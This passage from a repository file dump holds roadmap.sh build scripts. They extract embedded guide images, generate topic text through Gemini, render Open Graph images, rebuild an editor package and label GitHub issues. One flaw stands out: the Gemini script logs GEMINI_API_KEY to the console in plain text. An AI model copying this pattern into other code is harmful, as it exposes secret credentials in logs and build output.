`${slugify(node.data.label as string)}@${node.id}.md`;\n  if (roadmapContentFiles.includes(nodeDirPattern)) {\n    console.log(`Skipping ${nodeDirPattern}`);\n    return;\n  }\n\n  await fs.writeFile(\n    path.join(roadmapContentDir, nodeDirPattern),\n    `# ${node.data.label}`,\n  );\n});\n"
  },
  {
    "path": "scripts/extract-guide-images.cjs",
    "content": "// get all the base64 encoded images and save them to a file from the given markdown file\n\nconst fs = require('fs');\nconst path = require('path');\nconst matter = require('gray-matter');\n\nconst guidePath = path.join(process.cwd(), 'src/data/guides');\nconst tempDir = path.join(process.cwd(), '.temp');\n\nconst guideId = process.argv[2];\nif (!guideId) {\n  console.error('Guide ID is required');\n  process.exit(1);\n}\n\nconst guideContent = fs.readFileSync(\n  path.join(guidePath, `${guideId}.md`),\n  'utf8',\n);\n\n// Create temp directory if it doesn't exist\nconst guideTempDir = path.join(tempDir, guideId);\nif (!fs.existsSync(guideTempDir)) {\n  fs.mkdirSync(guideTempDir, { recursive: true });\n}\n\nconst { data, content } = matter(guideContent);\n\n// Find all base64 image references in the content\nconst images = content.match(/\\[(.+?)\\]:\\s+?<data:image\\/([^;]+);base64,([^\\s]+)/g);\n\nif (images) {\n  images.forEach((image) => {\n    const imageName = image.match(/\\[(.+?)\\]/)[1];\n    const imageExtension = image.match(/<data:image\\/([^;]+);base64/)[1];\n    const imageData = image.match(/base64,([^\\s]+)/)[1];\n\n    // Write file using Buffer to properly decode base64\n    fs.writeFileSync(\n      path.join(guideTempDir, `${imageName}.${imageExtension}`),\n      Buffer.from(imageData, 'base64')\n    );\n  });\n}\n"
  },
  {
    "path": "scripts/gemini-roadmap-content.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport type { Edge, Node } from 'reactflow';\nimport matter from 'gray-matter';\nimport type { RoadmapFrontmatter } from '../src/lib/roadmap';\nimport { slugify } from '../src/lib/slugger';\nimport { runPromisesInBatchSequentially } from '../src/lib/promise';\n\nimport { createGoogleGenerativeAI } from '@ai-sdk/google';\nimport { generateText } from 'ai';\n\n// ERROR: `__dirname` is not defined in ES module scope\n// https://iamwebwiz.medium.com/how-to-fix-dirname-is-not-defined-in-es-module-scope-34d94a86694d\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\n// Usage: tsx ./scripts/editor-roadmap-content.ts <roadmapId>\nconst GEMINI_API_KEY = process.env.GEMINI_API_KEY;\nconsole.log('GEMINI_API_KEY:', GEMINI_API_KEY);\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\nconst roadmapId = process.argv[2];\n\nconst google = createGoogleGenerativeAI({\n  apiKey: process.env.GEMINI_API_KEY,\n});\n\nconst allowedRoadmapIds = await fs.readdir(ROADMAP_CONTENT_DIR);\nif (!roadmapId) {\n  console.error('Roadmap Id is required');\n  process.exit(1);\n}\n\nif (!allowedRoadmapIds.includes(roadmapId)) {\n  console.error(`Invalid roadmap key ${roadmapId}`);\n  console.error(`Allowed keys are ${allowedRoadmapIds.join(', ')}`);\n  process.exit(1);\n}\n\nconst roadmapFrontmatterDir = path.join(\n  ROADMAP_CONTENT_DIR,\n  roadmapId,\n  `${roadmapId}.md`,\n);\nconst roadmapFrontmatterRaw = await fs.readFile(roadmapFrontmatterDir, 'utf-8');\nconst { data } = matter(roadmapFrontmatterRaw);\n\nconst roadmapFrontmatter = data as RoadmapFrontmatter;\nif (!roadmapFrontmatter) {\n  console.error('Invalid roadmap frontmatter');\n  process.exit(1);\n}\n\nif (roadmapFrontmatter.renderer !== 'editor') {\n  console.error('Only Editor Rendered Roadmaps are allowed');\n  process.exit(1);\n}\n\nconst roadmapDir = path.join(\n  ROADMAP_CONTENT_DIR,\n  roadmapId,\n  `${roadmapId}.json`,\n);\nconst roadmapContent = await fs.readFile(roadmapDir, 'utf-8');\nlet { nodes, edges } = JSON.parse(roadmapContent) as {\n  nodes: Node[];\n  edges: Edge[];\n};\nconst enrichedNodes = nodes\n  .filter(\n    (node) =>\n      node?.type &&\n      ['topic', 'subtopic'].includes(node.type) &&\n      node.data?.label,\n  )\n  .map((node) => {\n    // Because we only need the parent id and title for subtopics\n    if (node.type !== 'subtopic') {\n      return node;\n    }\n\n    const parentNodeId =\n      edges.find((edge) => edge.target === node.id)?.source || '';\n    const parentNode = nodes.find((n) => n.id === parentNodeId);\n\n    return {\n      ...node,\n      parentId: parentNodeId,\n      parentTitle: parentNode?.data?.label || '',\n    };\n  }) as (Node & { parentId?: string; parentTitle?: string })[];\n\nconst roadmapContentDir = path.join(ROADMAP_CONTENT_DIR, roadmapId, 'content');\nconst stats = await fs.stat(roadmapContentDir).catch(() => null);\nif (!stats || !stats.isDirectory()) {\n  await fs.mkdir(roadmapContentDir, { recursive: true });\n}\n\nfunction writeTopicContent(\n  roadmapTitle: string,\n  childTopic: string,\n  parentTopic?: string,\n) {\n  const updatedTitle = roadmapTitle.replace('Roadmap', '').trim().replace('Developer', '');\n  let prompt = `I will give you a topic and you need to write a brief introduction for that in \"${roadmapTitle}\". Your format should be as follows and be in strictly markdown format:\n\n# (Put a heading for the topic without adding parent \"Subtopic in Topic\" or \"Topic in Roadmap\" or \"Subtopic under XYZ\" etc.)\n\n(Briefly explain the topic in one paragraph using simple english. Don't start with explaining how important the topic is with regard to \"${roadmapTitle}\". Don't say something along the lines of \"XYZ plays a crucial role in ${roadmapTitle}\". Don't include anything saying \"In the context of ${roadmapTitle}\". Instead, start with a simple explanation of the topic itself. For example, if the topic is \"React\", you can start with \"React is a JavaScript library for building user interfaces.\"\".)\n`;\n\n  if (!parentTopic) {\n    prompt += `First topic is: ${childTopic}`;\n  } else {\n    prompt += `First topic is: \"${parentTopic} > ${childTopic}\"`;\n  }\n\n  return new Promise((resolve, reject) => {\n    generateText({\n      model: google('gemini-2.0-flash'),\n      prompt: prompt,\n      providerOptions: {\n      }\n    })\n      .then((response) => {\n        const article = response.text;\n\n        resolve(article);\n      })\n      .catch((err) => {\n        reject(err);\n      });\n  });\n}\n\nasync function writeNodeContent(node: Node & { parentTitle?: string }) {\n  const nodeDirPattern = `${slugify(node.data.label)}@${node.id}.md`;\n  if (!roadmapContentFiles.includes(nodeDirPattern)) {\n    console.log(`Missing file for: ${nodeDirPattern}`);\n    return;\n  }\n\n  const nodeDir = path.join(roadmapContentDir, nodeDirPattern);\n  const nodeContent = await fs.readFile(nodeDir, 'utf-8');\n  const isFileEmpty = !nodeContent.replace(`# ${node.data.label}`, '').trim();\n  if (!isFileEmpty) {\n    console.log(`❌ Ignoring ${nodeDirPattern}. Not empty.`);\n    return;\n  }\n\n  const topic = node.data.label;\n  const parentTopic = node.parentTitle;\n\n  console.log(`⏳ Generating content for ${topic}...`);\n  let newContentFile = '';\n  if (GEMINI_API_KEY) {\n    newContentFile = (await writeTopicContent(\n      roadmapFrontmatter.title,\n      topic,\n      parentTopic,\n    )) as string;\n  } else {\n    newContentFile = `# ${topic}`;\n  }\n\n  await fs.writeFile(nodeDir, newContentFile, 'utf-8');\n  console.log(`✅ Content generated for ${topic}`);\n}\n\nlet roadmapContentFiles = await fs.readdir(roadmapContentDir, {\n  recursive: true,\n});\n\nif (!GEMINI_API_KEY) {\n  console.log('----------------------------------------');\n  console.log('GEMINI_API_KEY not found. Skipping gemini api calls...');\n  console.log('----------------------------------------');\n}\nconst promises = enrichedNodes.map((node) => () => writeNodeContent(node));\nawait runPromisesInBatchSequentially(promises, 20);\nconsole.log('✅ All content generated');\n"
  },
  {
    "path": "scripts/generate-og-images.mjs",
    "content": "import path from 'node:path';\nimport fs from 'node:fs/promises';\nimport matter from 'gray-matter';\nimport { html } from 'satori-html';\nimport satori from 'satori';\nimport sharp from 'sharp';\nimport imageSize from 'image-size';\nimport { Resvg } from '@resvg/resvg-js';\n\nconst ALL_ROADMAP_DIR = path.join(process.cwd(), '/src/data/roadmaps');\nconst ALL_BEST_PRACTICE_DIR = path.join(\n  process.cwd(),\n  '/src/data/best-practices',\n);\nconst ALL_GUIDE_DIR = path.join(process.cwd(), '/src/data/guides');\nconst ALl_AUTHOR_DIR = path.join(process.cwd(), '/src/data/authors');\nconst ALL_ROADMAP_IMAGE_DIR = path.join(process.cwd(), '/public/roadmaps');\nconst ALL_BEST_PRACTICE_IMAGE_DIR = path.join(\n  process.cwd(),\n  '/public/best-practices',\n);\nconst ALL_AUTHOR_IMAGE_DIR = path.join(process.cwd(), '/public');\n\nconst alreadyGeneratedImages = await fs.readdir(\n  path.join(process.cwd(), '/public/og-images'),\n  {\n    recursive: true,\n  },\n);\n\nasync function getAllRoadmaps() {\n  const allRoadmapDirNames = await fs.readdir(ALL_ROADMAP_DIR);\n\n  const allRoadmapFrontmatter = await Promise.all(\n    allRoadmapDirNames.map(async (roadmapDirName) => {\n      const roadmapDirPath = path.join(\n        ALL_ROADMAP_DIR,\n        roadmapDirName,\n        `${roadmapDirName}.md`,\n      );\n\n      const markdown = await fs.readFile(roadmapDirPath, 'utf8');\n      const { data } = matter(markdown);\n\n      return {\n        id: roadmapDirName,\n        title: data?.briefTitle,\n        description: data?.briefDescription,\n      };\n    }),\n  );\n\n  return allRoadmapFrontmatter;\n}\n\nasync function getAllBestPractices() {\n  const allBestPracticeDirNames = await fs.readdir(ALL_BEST_PRACTICE_DIR);\n\n  const allBestPracticeFrontmatter = await Promise.all(\n    allBestPracticeDirNames.map(async (bestPracticeDirName) => {\n      const bestPracticeDirPath = path.join(\n        ALL_BEST_PRACTICE_DIR,\n        bestPracticeDirName,\n        `${bestPracticeDirName}.md`,\n      );\n\n      const markdown = await fs.readFile(bestPracticeDirPath, 'utf8');\n      const { data } = matter(markdown);\n\n      return {\n        id: bestPracticeDirName,\n        title: data?.briefTitle,\n        description: data?.briefDescription,\n      };\n    }),\n  );\n\n  return allBestPracticeFrontmatter;\n}\n\nasync function getAllGuides() {\n  const allGuideDirNames = await fs.readdir(ALL_GUIDE_DIR);\n\n  const allGuideFrontmatter = await Promise.all(\n    allGuideDirNames.map(async (guideDirName) => {\n      const guideDirPath = path.join(ALL_GUIDE_DIR, guideDirName);\n\n      const markdown = await fs.readFile(guideDirPath, 'utf8');\n      const { data } = matter(markdown);\n\n      return {\n        id: guideDirName?.replace('.md', ''),\n        title: data?.title,\n        description: data?.description,\n        authorId: data?.authorId,\n      };\n    }),\n  );\n\n  return allGuideFrontmatter;\n}\n\nasync function getAllAuthors() {\n  const allAuthorDirNames = await fs.readdir(ALl_AUTHOR_DIR);\n\n  const allAuthorFrontmatter = await Promise.all(\n    allAuthorDirNames.map(async (authorDirName) => {\n      const authorDirPath = path.join(ALl_AUTHOR_DIR, authorDirName);\n\n      const markdown = await fs.readFile(authorDirPath, 'utf8');\n      const { data } = matter(markdown);\n\n      return {\n        id: authorDirName?.replace('.md', ''),\n        name: data?.name,\n        imageUrl: data?.imageUrl,\n      };\n    }),\n  );\n\n  return allAuthorFrontmatter;\n}\n\nasync function getAllRoadmapImageIds() {\n  const allRoadmapImageDirNames = await fs.readdir(ALL_ROADMAP_IMAGE_DIR);\n\n  return allRoadmapImageDirNames?.reduce((acc, image) => {\n    acc[image.replace(/(\\.[^.]*)$/, '')] = image;\n    return acc;\n  }, {});\n}\n\nasync function getAllBestPracticeImageIds() {\n  const allBestPracticeImageDirNames = await fs.readdir(\n    ALL_BEST_PRACTICE_IMAGE_DIR,\n  );\n\n  return allBestPracticeImageDirNames?.reduce((acc, image) => {\n    acc[image.replace(/(\\.[^.]*)$/, '')] = image;\n    return acc;\n  }, {});\n}\n\nasync function generateResourceOpenGraph() {\n  const allRoadmaps = (await getAllRoadmaps()).filter(\n    (roadmap) => !alreadyGeneratedImages.includes(`roadmaps/${roadmap.id}.png`),\n  );\n  const allBestPractices = (await getAllBestPractices()).filter(\n    (bestPractice) =>\n      !alreadyGeneratedImages.includes(`best-practices/${bestPractice.id}.png`),\n  );\n  const allRoadmapImageIds = await getAllRoadmapImageIds();\n  const allBestPracticeImageIds = await getAllBestPracticeImageIds();\n\n  const resources = [];\n  allRoadmaps.forEach((roadmap) => {\n    const hasImage = allRoadmapImageIds?.[roadmap.id];\n    resources.push({\n      type: 'roadmaps',\n      id: roadmap.id,\n      title: roadmap.title,\n      description: roadmap.description,\n      image: hasImage\n        ? path.join(ALL_ROADMAP_IMAGE_DIR, allRoadmapImageIds[roadmap.id])\n        : null,\n    });\n  });\n\n  allBestPractices.forEach((bestPractice) => {\n    const hasImage = allBestPracticeImageIds?.[bestPractice.id];\n    resources.push({\n      type: 'best-practices',\n      id: bestPractice.id,\n      title: bestPractice.title,\n      description: bestPractice.description,\n      image: hasImage\n        ? path.join(\n            ALL_BEST_PRACTICE_IMAGE_DIR,\n            allBestPracticeImageIds[bestPractice.id],\n          )\n        : null,\n    });\n  });\n\n  for (const resource of resources) {\n    if (!resource.image) {\n      let template = getRoadmapDefaultTemplate(resource);\n      if (\n        hasSpecialCharacters(resource.title) ||\n        hasSpecialCharacters(resource.description)\n      ) {\n        // For some reason special characters are not being rendered properly\n        // https://github.com/natemoo-re/satori-html/issues/20\n        // So we need to unescape the html\n        template = JSON.parse(unescapeHtml(JSON.stringify(template)));\n      }\n      await generateOpenGraph(\n        template,\n        resource.type,\n        resource.id + '.png',\n        'resvg',\n      );\n    } else {\n      const image = await fs.readFile(resource.image);\n      const dimensions = imageSize(image);\n\n      const widthRatio = 1200 / dimensions.width;\n      let width = dimensions.width * widthRatio * 0.85;\n      let height = dimensions.height * widthRatio * 0.85;\n\n      let template = getRoadmapImageTemplate({\n        ...resource,\n        image: `data:image/${dimensions.type};base64,${image.toString('base64')}`,\n        width,\n        height,\n      });\n\n      if (\n        hasSpecialCharacters(resource.title) ||\n        hasSpecialCharacters(resource.description)\n      ) {\n        // For some reason special characters are not being rendered properly\n        // https://github.com/natemoo-re/satori-html/issues/20\n        // So we need to unescape the html\n        template = JSON.parse(unescapeHtml(JSON.stringify(template)));\n      }\n\n      await generateOpenGraph(template, resource.type, resource.id + '.png');\n    }\n  }\n}\n\nasync function generateGuideOpenGraph() {\n  const allGuides = (await getAllGuides()).filter(\n    (guide) => !alreadyGeneratedImages.includes(`guides/${guide.id}.png`),\n  );\n  const allAuthors = await getAllAuthors();\n\n  for (const guide of allGuides) {\n    const author = allAuthors.find((author) => author.id === guide.authorId);\n    const image =\n      author?.imageUrl || 'https://roadmap.sh/img/default-avatar.png';\n    const isExternalImage = image?.startsWith('http');\n    let authorImageExtension = '';\n    let authorAvatar;\n    if (!isExternalImage) {\n      authorAvatar = await fs.readFile(path.join(ALL_AUTHOR_IMAGE_DIR, image));\n      authorImageExtension = image?.split('.')[1];\n    }\n\n    let template = getGuideTemplate({\n      ...guide,\n      authorName: author.name,\n      authorAvatar: isExternalImage\n        ? image\n        : `data:image/${authorImageExtension};base64,${authorAvatar.toString('base64')}`,\n    });\n    if (\n      hasSpecialCharacters(guide.title) ||\n      hasSpecialCharacters(guide.description)\n    ) {\n      // For some reason special characters are not being rendered properly\n      // https://github.com/natemoo-re/satori-html/issues/20\n      // So we need to unescape the html\n      template = JSON.parse(unescapeHtml(JSON.stringify(template)));\n    }\n    await generateOpenGraph(template, 'guides', guide.id + '.png');\n  }\n}\n\nasync function generateOpenGraph(\n  htmlString,\n  type,\n  fileName,\n  renderer = 'sharp',\n) {\n  console.log('Started 🚀', `${type}/${fileName}`);\n  const svg = await satori(htmlString, {\n    width: 1200,\n    height: 630,\n    fonts: [\n      {\n        name: 'balsamiq',\n        data: await fs.readFile(\n          path.join(process.cwd(), '/public/fonts/BalsamiqSans-Regular.ttf'),\n        ),\n        weight: 400,\n        style: 'normal',\n      },\n    ],\n  });\n\n  await fs.mkdir(path.join(process.cwd(), '/public/og-images/' + type), {\n    recursive: true,\n  });\n  // It will be used to generate the default image\n  // for some reasone sharp is not working with this\n  // FIXME: Investigate why sharp is not working with this\n  if (renderer === 'resvg') {\n    const resvg = new Resvg(svg, {\n      fitTo: {\n        mode: 'width',\n        value: 2500,\n      },\n    });\n    const pngData = resvg.render();\n    const pngBuffer = pngData.asPng();\n    await fs.writeFile(\n      path.join(process.cwd(), '/public/og-images/' + `${type}/${fileName}`),\n      pngBuffer,\n    );\n  } else {\n    await sharp(Buffer.from(svg), { density: 150 })\n      .png()\n      .toFile(\n        path.join(process.cwd(), '/public/og-images/' + `${type}/${fileName}`),\n      );\n  }\n\n  console.log('Completed ✅', `${type}/${fileName}`);\n}\n\nawait generateResourceOpenGraph();\nawait generateGuideOpenGraph();\n\nfunction getRoadmapDefaultTemplate({ title, description }) {\n  return html`<div tw=\"bg-white relative flex flex-col h-full w-full\">\n    <div\n      tw=\"absolute flex top-[90px] left-0 w-full h-px bg-black opacity-5\"\n    ></div>\n    <div tw=\"absolute flex top-0 left-0 w-full h-[18px] bg-black\"></div>\n    <div tw=\"absolute flex bottom-0 left-0 w-full h-[18px] bg-black\"></div>\n    <div\n      tw=\"absolute flex bottom-[90px] left-0 w-full h-px bg-black opacity-5\"\n    ></div>\n    <div\n      tw=\"absolute flex top-0 left-[90px] h-full w-px bg-black opacity-5\"\n    ></div>\n    <div\n      tw=\"absolute flex top-0 right-[90px] h-full w-px bg-black opacity-5\"\n    ></div>\n\n    <div tw=\"flex flex-col px-[100px] py-[90px] h-full\">\n      <div tw=\"flex justify-between flex-col p-[30px] h-full\">\n        <div tw=\"flex flex-col\">\n          <div tw=\"text-[70px] leading-[70px] tracking-tight\">${title}</div>\n          <div\n            tw=\"mt-[16px] text-[30px] leading-[36px] tracking-tight opacity-80\"\n          >\n            ${description}\n          </div>\n        </div>\n\n        <div tw=\"flex flex-col\">\n          <div tw=\"flex items-center mt-2.5\">\n            <div\n              tw=\"flex items-center justify-center w-[40px] h-[40px] mr-[24px]\"\n            >\n              <svg\n                width=\"46\"\n                height=\"27\"\n                viewBox=\"0 0 46 27\"\n                fill=\"none\"\n                xmlns=\"http://www.w3.org/2000/svg\"\n              >\n                <path\n                  d=\"M43.354 0.9C42.184 0.9 41.2371 1.84684 41.2371 3.01686C41.2371 3.30867 41.3062 3.57708 41.4117 3.82435L33.4085 15.0163C33.38 15.0161 33.3514 15.0167 33.3248 15.0172C33.3051 15.0176 33.2864 15.018 33.2697 15.018C32.8703 15.018 32.484 15.1223 32.161 15.3186L25.2976 11.9024C25.1995 10.8219 24.2903 9.97585 23.1854 9.97585C22.0154 9.97585 21.0686 10.9227 21.0686 12.0927C21.0686 12.1865 21.0799 12.2794 21.0925 12.3656L13.8077 18.1561C13.5852 18.0783 13.3472 18.0433 13.1011 18.0433C12.0622 18.0433 11.2066 18.7882 11.0265 19.7732L4.26122 22.5041C3.91213 22.2447 3.48642 22.077 3.01686 22.077C1.84684 22.077 0.9 23.0238 0.9 24.1938C0.9 25.3639 1.84684 26.3107 3.01686 26.3107C4.06426 26.3107 4.92372 25.5497 5.0923 24.5492L11.8566 21.8497C12.2057 22.1092 12.6315 22.277 13.1011 22.277C14.2711 22.277 15.218 21.3301 15.218 20.1601C15.218 20.0663 15.2067 19.9735 15.194 19.8873L22.4789 14.0968C22.7013 14.1746 22.9393 14.2096 23.1854 14.2096C23.5848 14.2096 23.9711 14.1053 24.2941 13.909L31.1575 17.3252C31.2556 18.4057 32.1649 19.2517 33.2697 19.2517C34.4397 19.2517 35.3866 18.3049 35.3866 17.1348C35.3866 16.843 35.3175 16.5746 35.2119 16.3273L43.2151 5.13536C43.2437 5.13561 43.2723 5.13503 43.2989 5.13449C43.3186 5.13409 43.3373 5.13371 43.354 5.13371C44.524 5.13371 45.4708 4.18687 45.4708 3.01686C45.4708 1.84684 44.524 0.9 43.354 0.9Z\"\n                  fill=\"black\"\n                  stroke=\"black\"\n                  stroke-width=\"0.2\"\n                />\n              </svg>\n            </div>\n            <div tw=\"text-[30px] flex leading-[30px]\">\n              7th most starred GitHub project\n            </div>\n          </div>\n          <div tw=\"flex items-center mt-2.5\">\n            <div\n              tw=\"flex items-center justify-center w-[40px] h-[40px] mr-[24px]\"\n            >\n              <svg\n                width=\"40\"\n                height=\"27\"\n                viewBox=\"0 0 40 27\"\n                fill=\"none\"\n                xmlns=\"http://www.w3.org/2000/svg\"\n              >\n                <path\n                  fill-rule=\"evenodd\"\n                  clip-rule=\"evenodd\"\n                  d=\"M24.8419 21.5546V23.347H37.3473V22.3072C37.3473 21.803 37.1644 21.3086 36.7814 20.9808C35.797 20.1382 34.0544 19.1021 31.4735 19.1021C28.1305 19.1021 25.8107 20.618 24.8419 21.5546ZM22.7297 19.8874C23.9917 18.5206 27.0669 16.4008 31.4735 16.4008C35.9173 16.4008 38.5374 18.7892 39.5092 19.9307C39.8516 20.3328 40 20.825 40 21.2875V26.0483H31.0946H22.1892V21.2978C22.1892 20.8197 22.349 20.2997 22.7297 19.8874Z\"\n                  fill=\"black\"\n                />\n                <path\n                  fill-rule=\"evenodd\"\n                  clip-rule=\"evenodd\"\n                  d=\"M3.30026 21.0084C2.86588 21.3329 2.65267 21.8607 2.65267 22.4029V23.347H15.1581V21.5229C14.3747 20.6776 12.4668 19.1021 9.28433 19.1021C6.53917 19.1021 4.48401 20.1243 3.30026 21.0084ZM0.540477 19.8874C1.80253 18.5206 4.87765 16.4008 9.28433 16.4008C13.7281 16.4008 16.3482 18.7892 17.32 19.9307C17.6624 20.3328 17.8108 20.825 17.8108 21.2875V26.0483H8.90538H0V21.2978C0 20.8197 0.15977 20.2997 0.540477 19.8874Z\"\n                  fill=\"black\"\n                />\n                <rect\n                  x=\"10.6122\"\n                  y=\"16.4008\"\n                  width=\"17.3655\"\n                  height=\"7.718\"\n                  fill=\"white\"\n                />\n                <path\n                  fill-rule=\"evenodd\"\n                  clip-rule=\"evenodd\"\n                  d=\"M11.8062 19.6515C11.3801 19.9868 11.1665 20.5126 11.1665 21.0548V22.5365H27.4235V20.9495C27.4235 20.4454 27.2397 19.9534 26.8651 19.616C25.6227 18.4973 23.3035 17.0182 19.7876 17.0182C16.0572 17.0182 13.307 18.4702 11.8062 19.6515ZM8.42064 18.0391C10.0613 16.2623 14.059 13.5065 19.7876 13.5065C25.5645 13.5065 28.9707 16.6115 30.2341 18.0954C30.6791 18.6181 30.872 19.258 30.872 19.8592V26.0482H19.295H7.71802V19.8727C7.71802 19.2511 7.92572 18.5751 8.42064 18.0391Z\"\n                  fill=\"black\"\n                />\n                <circle\n                  cx=\"20.2598\"\n                  cy=\"5.7885\"\n                  r=\"4.0385\"\n                  stroke=\"black\"\n                  stroke-width=\"3.5\"\n                />\n                <circle\n                  cx=\"31.8367\"\n                  cy=\"9.64748\"\n                  r=\"3.07375\"\n                  stroke=\"black\"\n                  stroke-width=\"3.5\"\n                />\n                <circle\n                  cx=\"8.68276\"\n                  cy=\"9.64748\"\n                  r=\"3.07375\"\n                  stroke=\"black\"\n                  stroke-width=\"3.5\"\n                />\n              </svg>\n            </div>\n            <div tw=\"text-[30px] flex leading-[30px]\">\n              Created and maintained by community\n            </div>\n          </div>\n          <div tw=\"flex items-center mt-2.5\">\n            <div\n              tw=\"flex items-center justify-center w-[40px] h-[40px] mr-[24px]\"\n            >\n              <svg\n                width=\"38\"\n                height=\"38\"\n                viewBox=\"0 0 38 38\"\n                fill=\"none\"\n                xmlns=\"http://www.w3.org/2000/svg\"\n              >\n                <path\n                  d=\"M19 33.155C21.375 33.155 23.3541 34.8334 25.3333 34.8334C30.0833 34.8334 34.8333 22.1667 34.8333 15.485C34.7793 13.4342 33.9169 11.4878 32.434 10.0701C30.951 8.65243 28.9678 7.87839 26.9166 7.9167C23.4016 7.9167 20.5833 10.1967 19 11.0834C17.4166 10.1967 14.5983 7.9167 11.0833 7.9167C9.0309 7.8742 7.04532 8.64686 5.56147 10.0654C4.07761 11.484 3.21646 13.4328 3.16663 15.485C3.16663 22.1667 7.91663 34.8334 12.6666 34.8334C14.6458 34.8334 16.625 33.155 19 33.155Z\"\n                  stroke=\"black\"\n                  stroke-width=\"3.5\"\n                  stroke-linecap=\"round\"\n                  stroke-linejoin=\"round\"\n                />\n                <path\n                  d=\"M15.8334 3.16699C17.4167 3.95866 19 6.33366 19 11.0837\"\n                  stroke=\"black\"\n                  stroke-width=\"3.5\"\n                  stroke-linecap=\"round\"\n                  stroke-linejoin=\"round\"\n                />\n              </svg>\n            </div>\n            <div tw=\"text-[30px] flex leading-[30px]\">Up-to-date roadmap</div>\n          </div>\n        </div>\n      </div>\n    </div>\n  </div> `;\n}\n\nfunction getRoadmapImageTemplate({ title, description, image, height, width }) {\n  return html`<div tw=\"bg-white relative flex flex-col h-full w-full\">\n    <div tw=\"flex flex-col px-[90px] pt-[90px]\">\n      <div tw=\"flex flex-col pb-0\">\n        <div tw=\"text-[70px] leading-[70px] tracking-tight\">\n          ${title?.replace('&', `{\"&\"}`)}\n        </div>\n        <div\n          tw=\"mt-[16px] text-[30px] leading-[36px] tracking-tight opacity-80\"\n        >\n          ${description}\n        </div>\n      </div>\n    </div>\n\n    <img\n      src=\"${image}\"\n      width=\"${width}\"\n      height=\"${height}\"\n      tw=\"mx-auto mt-[36px]\"\n    />\n  </div> `;\n}\n\nfunction getGuideTemplate({ title, description, authorName, authorAvatar }) {\n  return html`<div tw=\"bg-white relative flex flex-col h-full w-full\">\n    <div\n      tw=\"absolute flex top-[90px] left-0 w-full h-px bg-black opacity-5\"\n    ></div>\n    <div tw=\"absolute flex top-0 left-0 w-full h-[18px] bg-black\"></div>\n    <div tw=\"absolute flex bottom-0 left-0 w-full h-[18px] bg-black\"></div>\n    <div\n      tw=\"absolute flex bottom-[90px] left-0 w-full h-px bg-black opacity-5\"\n    ></div>\n    <div\n      tw=\"absolute flex top-0 left-[90px] h-full w-px bg-black opacity-5\"\n    ></div>\n    <div\n      tw=\"absolute flex top-0 right-[90px] h-full w-px bg-black opacity-5\"\n    ></div>\n\n    <div tw=\"flex flex-col px-[100px] py-[90px] h-full\">\n      <div tw=\"flex justify-center flex-col p-[30px] h-full\">\n        <div tw=\"flex flex-col\">\n          <div tw=\"flex items-center\">\n            <img\n              src=\"${authorAvatar}\"\n              width=\"30\"\n              height=\"30\"\n              tw=\"rounded-full\"\n            />\n            <div tw=\"text-[20px] leading-[20px] tracking-tight ml-3\">\n              ${authorName}\n            </div>\n          </div>\n          <div tw=\"mt-6 text-[48px] leading-tight tracking-tight\">${title}</div>\n          <div tw=\"mt-3 text-[24px] leading-[30px] tracking-tight opacity-80\">\n            ${description}\n          </div>\n        </div>\n      </div>\n    </div>\n  </div> `;\n}\n\nfunction unescapeHtml(html) {\n  return html\n    .replace(/&amp;/g, '&')\n    .replace(/&lt;/g, '<')\n    .replace(/&gt;/g, '>')\n    .replace(/&quot;/g, '\"')\n    .replace(/&#039;/g, \"'\");\n}\n\nfunction hasSpecialCharacters(str) {\n  return /[&<>\"]/.test(str);\n}\n"
  },
  {
    "path": "scripts/generate-renderer.sh",
    "content": "#!/usr/bin/env bash\n\nset -e\n\n# Remove old editor\nrm -rf editor\n\nif [ ! -d \".temp/web-draw\" ]; then\n  git clone ssh://git@github.com/roadmapsh/web-draw.git .temp/web-draw --depth 1\nfi\n\n# Make dir\nmkdir -p packages/editor\nmkdir -p packages/editor/dist\n\n# Copy the editor dist, package.json\ncp -rf .temp/web-draw/packages/editor/dist packages/editor\ncp -rf .temp/web-draw/packages/editor/package.json packages/editor\n\n# Remove temp directory\nrm -rf .temp\n\n# Reinstall so that the editor which was setup gets used\nrm -rf node_modules\npnpm install\n"
  },
  {
    "path": "scripts/label-issues.sh",
    "content": "#!/usr/bin/env bash\n\n# Fetch issues JSON data and parse it properly\nissues=$(gh issue list --repo kamranahmedse/developer-roadmap --search \"sort:created-asc\" --state open --limit 500 --json number,title,createdAt,updatedAt,state,url,comments,reactionGroups,body | jq -c '.[]')\n\n# checks the body of issue, identifies the slug from the roadmap URLs\n# and labels the issue with the corresponding slug\nwhile IFS= read -r issue; do\n    created_at=$(echo \"$issue\" | jq -r '.createdAt')\n    updated_at=$(echo \"$issue\" | jq -r '.updatedAt')\n    issue_number=$(echo \"$issue\" | jq -r '.number')\n    issue_title=$(echo \"$issue\" | jq -r '.title')\n    reaction_groups=$(echo \"$issue\" | jq -r '.reactionGroups')\n    has_reactions=$(echo \"$issue\" | jq -r '.reactionGroups | length')\n    comment_count=$(echo \"$issue\" | jq -r '.comments | length')\n    body_characters=$(echo \"$issue\" | jq -r '.body | length')\n\n    # If the issue has no body, then skip it\n    if [ \"$body_characters\" -eq 0 ]; then\n        continue\n    fi\n\n    # Extract the roadmap URLs from the issue body\n    roadmap_urls=$(echo \"$issue\" | jq -r '.body' | grep -o 'https://roadmap\\.sh/[^ ]*')\n\n    # If no roadmap URLs found, then skip it\n    if [ -z \"$roadmap_urls\" ]; then\n        continue\n    fi\n\n    # URL is like https://roadmap.sh/frontend\n    # Extract the slug from the URL\n    slug_of_first_url=$(echo \"$roadmap_urls\" | head -n 1 | sed 's/https:\\/\\/roadmap\\.sh\\///')\n\n    if [ -z \"$slug_of_first_url\" ]; then\n        continue\n    fi\n\n    # Label the issue with the slug\n    gh issue edit \"$issue_number\" --add-label \"$slug_of_first_url\"\ndone <<< \"$issues\"\n"
  },
  {
    "path": "scripts/migrate-content-repo-to-database.ts",
